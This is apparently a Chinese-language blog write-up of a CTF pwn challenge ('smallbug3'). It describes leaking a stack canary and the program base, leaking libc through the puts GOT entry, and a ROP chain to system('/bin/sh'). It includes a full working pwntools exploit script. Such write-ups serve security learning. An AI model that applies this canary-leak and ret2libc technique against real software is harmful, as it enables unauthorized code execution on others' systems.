January 22, 2019

bug3

smallbug3

flag.png

canary 后两位一定是 00,可以通过canary找到,填充多少位,可以通过telescope 0x20找到 canary 位置,再distance $rsi canary找到。

canary 小端序存储在内存中,就可以把开头两位 00 覆盖成‘c’,这样读到 c,rjust\x00 后就可以解出 canary。(我用 sendline,多发的一个’\n’起到了填补\0 的效果(但自己一直没发现,卡了好久))

程序基址可以用 gdb 中 vmmap 看,发现和跟着 canary 打出来的 rbp 前几位相同,我记得讲过开了地址随机化程序基址后三位也一定是 000,所以可以根据 rbp 求出程序基址。

思路就是首先泄露出 canary、程序基址前几位,然后 puts 泄露 puts_got 推出 libc 基址,第二个 main 就可以 system(“/bin/sh”)了。

说是 rbp 可以用 telescope 看出和程序基址前几位相同,我又发现 rbp 下面一句: 0x7ffeadd0ec78 —▸ 0x7f68efcc6a87 (__libc_start_main+231) ◂— mov edi, eax,如果能打印出它,连用 puts 泄露 got 表都不用,直接可以在 libc 里找libc_start_main 就能得到 libc 基址(gdb 里算过了,是对的)。但因为 rbp 开头是 0,所以想要不覆盖 rbp 而打出libc_start_main+231 是不可能的,本想着第二次 main 再打印,又 EOF 了好久,才发现第二次 rbp 下面不是这句了……不爽,还是想要通过这种方式算出 libc 基址,在它之后(\$rsi+0x118)又找到了_dl_init+118 的地址,填充好了打半天出不来,才想起来 canary 也带\0,打印到 canary 就停止了不能再往前走了……

只好按部就班找 system、binsh 解出题目:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

io = process("./smallbug3")  # , env = {"LD_PRELOAD" : "./libc-2.23.so"})
libc = ELF("./libc-2.27.so")
elf = ELF("./smallbug3")

pop_rdi = 0xb33  # ropper --file ./smallbug3  --search "pop | ret"

io.recvline()
io.sendline("-1")
io.recvline()

io.sendline('a' * 0x88)  # 隐含地发送了第0x89个字符'\n',它会覆盖掉canary的最后一位
io.recvline('a\n')

canary = u64(io.recv(7).rjust(8, "\x00"))
elf_base = (u64(io.recv(6).ljust(8, "\x00")) >> 12) << 12

log.info("canary: " + hex(canary))
log.info("elf_base: " + hex(elf_base))

io.recvuntil("Leave some message for us:\n")

pop_rdi_real = elf_base + pop_rdi
main_addr_real = elf_base + 0x9cc
puts_got_real = elf_base + elf.got['puts']
puts_plt_real = elf_base + elf.plt['puts']

# 这里又忘了给pop_rdi加elf_base,又卡了好久SIGSEGV
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(puts_got_real) + p64(puts_plt_real) + p64(main_addr_real))

libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym['puts']

sys_libc_real = libc.symbols["system"] + libc_base
binsh_libc_real = next(libc.search("/bin/sh")) + libc_base
log.info("libc_base: " + hex(libc_base))
log.info("-----------------------------------------------------")
log.info("第一次main函数之旅到此结束")
log.info("-----------------------------------------------------")

io.recvuntil("the length of your name:\n")
io.sendline("-1")
io.readline()
io.sendline('haha')
io.recvline()
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(binsh_libc_real) + p64(sys_libc_real))
io.interactive() # 眼看前面都没报错,可最后就是程序自动结束,才想起来忘了打interactive……

如无特殊声明,本页内容采用 CC BY-NC 4.0 授权


Made With Notepad